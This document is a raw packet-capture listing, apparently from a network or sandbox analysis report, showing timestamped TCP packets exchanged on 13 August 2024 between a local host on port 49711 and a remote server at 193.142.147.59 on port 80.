Aug 13, 2024 10:21:14.610040903 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.610052109 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.610054016 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.610064030 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.610071898 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.610100031 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.610913038 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.610924006 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.610934019 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.610944986 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.610955954 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.610966921 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.610970020 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.610976934 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.610987902 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.610997915 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.611008883 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.611008883 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.611017942 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.611021996 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.611028910 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.611041069 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.611062050 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.611898899 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.611910105 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.611921072 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.611929893 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.611939907 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.611947060 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.611949921 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.611960888 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.611972094 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.611977100 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.611982107 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.611994982 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.612004995 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.612010002 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.612015963 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.612025976 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.612026930 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.612045050 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.612090111 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.612879992 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.612891912 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.612900972 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.612910986 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.612921000 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.612931013 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.612941027 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.612942934 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.612951994 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.612962008 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.612972021 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.612977028 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.612982035 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.612992048 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.612993956 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.613013029 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.613029957 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.613862991 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.613874912 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.613886118 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.613897085 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.613905907 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.613913059 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.613917112 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.613926888 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.613936901 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.613946915 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.613946915 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.613957882 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.613965988 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.613967896 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.613979101 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.613984108 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.614026070 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.614803076 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.614814043 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.614829063 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.614840031 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.614846945 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.614850044 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.614861012 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.614864111 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.614872932 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.614883900 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.614892006 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.614895105 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.614907026 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.614912987 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.614934921 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.614959955 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.694417000 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.694452047 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.694463968 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.694488049 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.694514036 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.694607973 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.694619894 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.694629908 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.694652081 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.694669008 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.694736004 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.694777966 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.694838047 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.694856882 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.694869041 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.694880009 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.694885969 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.694891930 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.694905043 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.694905043 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.694931984 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.695007086 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.695215940 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.695228100 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.695256948 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.695271969 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.695369005 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.695379972 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.695389986 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.695401907 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.695413113 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.695416927 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.695425034 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.695440054 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.695461035 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.695854902 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.695867062 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.695875883 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.695885897 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.695898056 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.695904970 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.695909023 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.695919991 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.695930004 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.695941925 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.695943117 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.695960045 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.695979118 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.696501017 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.696512938 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.696523905 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.696537018 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.696544886 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.696547985 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.696558952 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.696568012 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.696571112 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.696582079 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.696594954 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.696595907 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.696607113 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.696614981 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.696619034 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.696633101 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.696666956 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.697307110 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.697319984 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.697331905 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.697345018 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.697355986 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.697356939 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.697384119 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.697386980 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.697398901 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.697405100 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.697412014 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.697432041 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.697436094 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.697448015 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.697458982 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.697462082 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.697469950 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.697480917 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.697485924 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.697490931 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.697515011 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.697532892 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.698278904 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.698292971 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.698302984 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.698308945 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.698313951 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.698326111 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.698328972 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.698337078 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.698344946 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.698348045 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.698385000 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.698388100 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.698399067 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.698409081 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.698410034 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.698421001 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.698431969 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.698438883 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.698465109 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.698477030 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.699250937 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.699266911 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.699279070 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.699289083 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.699300051 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.699301004 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.699311972 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.699316978 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.699325085 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.699336052 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.699347019 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.699352980 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.699357986 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.699374914 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.699384928 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.699387074 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.699393988 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.699398994 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.699409008 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.699409962 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.699436903 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.700239897 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.700254917 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.700264931 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.700274944 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.700284958 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.700292110 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.700297117 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.700308084 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.700320005 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.700320959 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.700333118 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.700344086 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.700344086 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.700354099 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.700365067 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.700376034 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.700378895 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.700397968 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.700416088 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.701214075 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.701229095 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.701241016 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.701252937 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.701262951 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.701266050 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.701277018 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.701284885 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.701288939 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.701302052 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.701312065 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.701318026 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.701323986 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.701334000 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.701338053 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.701344967 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.701355934 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.701360941 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.701368093 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.701379061 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.701396942 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.701423883 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.702100992 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.702115059 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.702155113 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.781944036 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.781975031 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.781986952 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.781996965 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.782008886 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.782012939 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.782071114 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.782092094 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.782140017 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.782150984 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.782162905 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.782175064 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.782187939 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.782191038 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.782191038 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.782206059 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.782263041 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.782452106 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.782495022 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.782520056 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.782531023 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.782545090 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.782553911 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.782630920 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.782630920 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.782727003 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.782738924 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.782777071 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.782787085 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.782788992 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.782794952 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.782835960 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.782872915 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.783241987 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.783252954 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.783265114 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.783277035 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.783287048 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.783298016 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.783310890 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.783317089 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.783322096 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.783334017 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.783344984 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.783351898 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.783356905 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.783370972 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.783391953 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.783411026 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.783919096 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.783934116 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.783968925 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.783978939 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.784069061 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.784080029 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.784090996 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.784101963 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.784105062 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.784125090 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.784142971 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.784148932 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.784154892 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.784164906 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.784183979 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.784184933 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.784198999 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.784205914 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:14.784210920 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:14.784221888 CEST	80	49711	193.142.147.59	192.168.2.6
